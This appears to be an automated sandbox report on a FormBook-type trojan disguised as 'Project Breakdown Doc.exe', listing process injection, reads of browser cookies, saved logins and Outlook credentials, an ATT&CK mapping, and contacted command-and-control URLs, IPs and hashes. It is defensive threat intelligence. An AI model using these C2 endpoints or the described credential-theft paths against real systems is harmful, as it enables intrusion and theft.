Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Project Breakdown Doc.exe"	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

0_2_00C981F7

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CA4C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00CA4C03

Source: Project Breakdown Doc.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Project Breakdown Doc.exe, VFfhzkOtKq.exe, 00000005.00000002.2936459498.00000000013B0000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000000.2174810905.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2936718603.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: VFfhzkOtKq.exe, 00000005.00000002.2936459498.00000000013B0000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000000.2174810905.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2936718603.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: VFfhzkOtKq.exe, 00000005.00000002.2936459498.00000000013B0000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000000.2174810905.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2936718603.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: VFfhzkOtKq.exe, 00000005.00000002.2936459498.00000000013B0000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000000.2174810905.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2936718603.0000000000F70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C6886B cpuid

0_2_00C6886B

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C750D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00C750D7

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C82230 GetUserNameW,

0_2_00C82230

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C7418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00C7418A

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C44AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00C44AFE

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2936457400.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259560056.0000000003960000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2938680835.0000000004CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259200561.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2260126536.0000000004C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2936946828.0000000003450000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2936746920.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2935024128.0000000000D20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\powercfg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Project Breakdown Doc.exe	Binary or memory string: WIN_81
Source: Project Breakdown Doc.exe	Binary or memory string: WIN_XP
Source: Project Breakdown Doc.exe	Binary or memory string: WIN_XPe
Source: Project Breakdown Doc.exe	Binary or memory string: WIN_VISTA
Source: Project Breakdown Doc.exe	Binary or memory string: WIN_7
Source: Project Breakdown Doc.exe	Binary or memory string: WIN_8
Source: Project Breakdown Doc.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2936457400.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259560056.0000000003960000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2938680835.0000000004CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259200561.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2260126536.0000000004C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2936946828.0000000003450000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2936746920.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2935024128.0000000000D20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CB6596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00CB6596
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CB6A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00CB6A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	2 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Project Breakdown Doc.exe	53%	ReversingLabs	Win32.Trojan.Znyonm
Project Breakdown Doc.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.1secondlending.one/6pwo/?AFF=OcYLCa3XOMtt+RsgzD1zLQYXF21NRX3aDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abnTc9bVWqvwMitNejIQMZs4A8D92e/CCvcvI=&qjBT=BfTHe4BP_zkdflN	0%	Avira URL Cloud	safe
http://www.wine-drinkers.club	0%	Avira URL Cloud	safe
http://www.qqa79.top/mz0w/?qjBT=BfTHe4BP_zkdflN&AFF=uMzU0JGK22aEYJLN9gIRRbcx6PQvWyWv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wws6pM55HNj3BAq/9ra29WeR04lUyUIOcydT8=	0%	Avira URL Cloud	safe
http://www.supernutra01.online/rk61/	0%	Avira URL Cloud	safe
http://www.wine-drinkers.club/hakt/	0%	Avira URL Cloud	safe
http://www.supernutra01.online/rk61/?qjBT=BfTHe4BP_zkdflN&AFF=4Jev6jkxg6xEO7Dapp2OtVT6jS0ALsNacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9NGZN+wjn/QV3LQCc1WVNeTcwGOVDWPFPiYw=	0%	Avira URL Cloud	safe
http://www.1secondlending.one/6pwo/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
qqa79.top	38.47.233.21	true	false	unknown
www.supernutra01.online	172.67.220.36	true	true	unknown
www.1secondlending.one	43.205.198.29	true	true	unknown
www.wine-drinkers.club	194.245.148.189	true	true	unknown
www.qqa79.top	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.1secondlending.one/6pwo/?AFF=OcYLCa3XOMtt+RsgzD1zLQYXF21NRX3aDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abnTc9bVWqvwMitNejIQMZs4A8D92e/CCvcvI=&qjBT=BfTHe4BP_zkdflN	true	Avira URL Cloud: safe	unknown
http://www.qqa79.top/mz0w/?qjBT=BfTHe4BP_zkdflN&AFF=uMzU0JGK22aEYJLN9gIRRbcx6PQvWyWv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wws6pM55HNj3BAq/9ra29WeR04lUyUIOcydT8=	false	Avira URL Cloud: safe	unknown
http://www.wine-drinkers.club/hakt/	true	Avira URL Cloud: safe	unknown
http://www.supernutra01.online/rk61/?qjBT=BfTHe4BP_zkdflN&AFF=4Jev6jkxg6xEO7Dapp2OtVT6jS0ALsNacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9NGZN+wjn/QV3LQCc1WVNeTcwGOVDWPFPiYw=	true	Avira URL Cloud: safe	unknown
http://www.supernutra01.online/rk61/	true	Avira URL Cloud: safe	unknown
http://www.1secondlending.one/6pwo/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kb.fastpanel.direct/troubleshoot/	powercfg.exe, 00000006.00000002.2937780821.0000000004408000.00000004.10000000.00040000.00000000.sdmp, powercfg.exe, 00000006.00000002.2939443430.0000000006790000.00000004.00000800.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2937216362.0000000002F78000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.wine-drinkers.club	VFfhzkOtKq.exe, 00000007.00000002.2938680835.0000000004CFA000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
38.47.233.21	qqa79.top	United States	174	COGENT-174US	false
43.205.198.29	www.1secondlending.one	Japan	4249	LILLY-ASUS	true
194.245.148.189	www.wine-drinkers.club	Germany	5517	CSLDE	true
172.67.220.36	www.supernutra01.online	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560859
Start date and time:	2024-11-22 12:40:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Project Breakdown Doc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 46 Number of non-executed functions: 276
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: Project Breakdown Doc.exe

Simulations

Behavior and APIs

Time	Type	Description
06:42:34	API Interceptor	10297x Sleep call for process: powercfg.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
43.205.198.29	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse
194.245.148.189	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.maitreyatoys.world/dvmh/
	Jjfmcz1Hsz.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.apidachicago.org/nqhc/?7nWHV=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&t0D=yFNHS0IX
	Aposporogony.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.apidachicago.org/nqhc/?r4txB=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&1b=S8jD
	Trubaduren.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.apidachicago.org/nqhc/?yDH=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&mZcHl=r4SlwD8
	PO-JST-270322.exe	Get hash	malicious	FormBook	Browse	www.swartz.center/cxeo/?W8JpR=NCwLeJ3wUUFynVIDlrIOTEkbUfjyuckEvOuhcnpXuC/VMxxNC9IWNto61Dliak/bDV8d&YT=HhWDab
	Swift copy payment.exe	Get hash	malicious	FormBook	Browse	www.pillarbox-studio.art/6dmq/?7nUdM=w8L0NF&j2=MsCITNO0KM/cL+AZR5CJ33SxI4+as8/LEdyyeYUf8lcPemOHhyKiBjEDDo5Wf6MgyNVH
	Revised Shipping Documents 385099_pdf.exe	Get hash	malicious	FormBook	Browse	www.adornor.online/ns87/?TrThDXL=1XA65DX/vwdZYdcpYm6Xh14zlwfWFzy5EBfmposwpTord/i56WMVSv41xjOrUH7YB88D&GHeTN=f0GDyV1p1diLt
	FeDex Shipment Confirmation.exe	Get hash	malicious	FormBook	Browse	www.nelly9800.com/09rb/?P6A=Jt/HrQrEbJEELsbO+qwZRBy+ZnkQGAsxDt3bRH6cGHQJq/1YwQ3KPn2IiPK+S8jX+qwt&JBZLXP=DxlDfVnX6PNt-
	SPECIFICATION REQUEST.exe	Get hash	malicious	FormBook	Browse	www.firstbyphone.com/gbr/?ExlPdj=9T+hwsCOJ30KUotVp56F2oUIcU+kzNAqslJ8t+71ysezeCdq1RydECu9CMdgx5D0Nzh8&8p=FjoPdvK0HvW0
172.67.220.36	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	www.supernutra01.online/jt56/?KV=3PCDLLbgpXdI7ZTJtsGfuMg/bmPFCu/6tWsXVWyqAde3py4xBHmx0QKjwMzGHP1esqkhpY0hgYiTwk+VbJ1wfRdswz4Mf7fkXLX0rdEfHuvF7ynYddkbc+A=&Wno=a0qDq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.supernutra01.online	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	172.67.220.36
www.1secondlending.one	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	43.205.198.29

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CSLDE	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	159.25.16.28
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	194.245.150.252
	DHL TRACKING.exe	Get hash	malicious	FormBook	Browse	159.25.16.28
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	159.25.16.28
	Ricevuta_di_pagamento.vbs	Get hash	malicious	GuLoader	Browse	159.25.16.28
	i586.elf	Get hash	malicious	Mirai	Browse	194.245.230.89
	na.elf	Get hash	malicious	Mirai	Browse	159.25.206.111
	BfQ121ipnz.elf	Get hash	malicious	Mirai	Browse	159.25.85.245
	5Jan3SztHt.elf	Get hash	malicious	Unknown	Browse	194.245.254.14
LILLY-ASUS	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.195.63.236
	arm7.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	43.116.196.102
	arm5.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	43.201.74.246
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	42.15.188.154
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	43.26.26.86
	https://www.cbirc.gov.cn/cn/view/pages/index/index.html	Get hash	malicious	Unknown	Browse	43.152.28.111
	m68k.elf	Get hash	malicious	Mirai	Browse	40.192.210.17
	ppc.elf	Get hash	malicious	Mirai	Browse	42.163.127.155
	arm4.elf	Get hash	malicious	Mirai	Browse	43.120.63.104
	x86_64.elf	Get hash	malicious	Mirai	Browse	43.125.153.101
CLOUDFLARENETUS	AdobeViewerPDQv2.msi	Get hash	malicious	Unknown	Browse	162.159.140.238
	Message_2579691_4.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	Message_2605357.eml	Get hash	malicious	Unknown	Browse	104.21.95.6
	Documenti di spedizione 000293949040405959000.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://dorentop.es/yorii/Odrivex/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	https://vidrariamortagua.pt/index.php/es/inicio/	Get hash	malicious	Unknown	Browse	104.22.50.245
	https:/novembro-24.s3.us-east-2.amazonaws.com/FAT-Comprovativo_Novembro_hky_22-11-2024_21.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	1.1.1.1
	http://cdn-webstats.com	Get hash	malicious	Unknown	Browse	172.67.215.185
	https://start.searchmagiconline.com/nav?emid=0F8BFBFF00050657None421A96011&appId=1654513741549412&string_interpolation=GET_BRAND_NAME	Get hash	malicious	Unknown	Browse	104.18.30.129
COGENT-174US	GameuxInstallHelper.DLL.dll	Get hash	malicious	Unknown	Browse	154.37.215.146
	f4s1Fhp8x7.exe	Get hash	malicious	Unknown	Browse	154.37.215.146
	f4s1Fhp8x7.exe	Get hash	malicious	Unknown	Browse	154.37.215.146
	GameuxInstallHelper.DLL.dll	Get hash	malicious	Unknown	Browse	154.37.215.146
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	38.47.232.124
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.172.95.114
	arm.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	38.120.151.204
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.217.51.222
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	38.180.91.0
	Quotation.exe	Get hash	malicious	FormBook	Browse	38.47.232.124

Process:	C:\Windows\SysWOW64\powercfg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\anaboly

Download File

Process:	C:\Users\user\Desktop\Project Breakdown Doc.exe
File Type:	data
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	7.995252499439571
Encrypted:	true
SSDEEP:	6144:9qw8PRneE2gwmloAJWmKDw4kt7QyelNyERxeZsMgUkEf:9qw85pZV2AJQkiyelYMMgUkEf
MD5:	1C8E5B6F9CEA547A6BFF401F911104AC
SHA1:	964AD4D5FFCCBA0BAA1FDC644559D2BC16B7946C
SHA-256:	9F5DD0DE8BA6C85E9EC3573217FE074A8011B2879E562859ADF4E1A39839928A
SHA-512:	9D1BB11DF2DFF681BE708BED0BA213286ADF830284B87540FD9AF45CDE7D37C5C6C22894C4189C75D2EBAC11B6D7FDB10293A3D7EC3E6428012094AC23DC0BE1
Malicious:	false
Reputation:	low
Preview:	...6B1Z7A4DY..MS.GX7LWBG.6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMS.GX7BH.IC.H.{.Dx.x./$ r7X+%#cU _4X1.&<r58=r.6....g.Y%Tt:H>`YRGMSRG!6E..'$.\|Q=.xT#.H..h'?.V...V&.@...x95..:1/eW+.BGC6A1Z7.qDY.FLS.\2aLWBGC6A1.7G5OXYGM.VGX7LWBGC6a%Z7E$DYR7ISRG.7LGBGC4A1\7E4DYRGKSRGX7LWB7G6A3Z7E4DYPG..RGH7LGBGC6Q1Z'E4DYRG]SRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGc'7?,7LW6.G6A!Z7En@YRWMSRGX7LWBGC6A1z7ETDYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4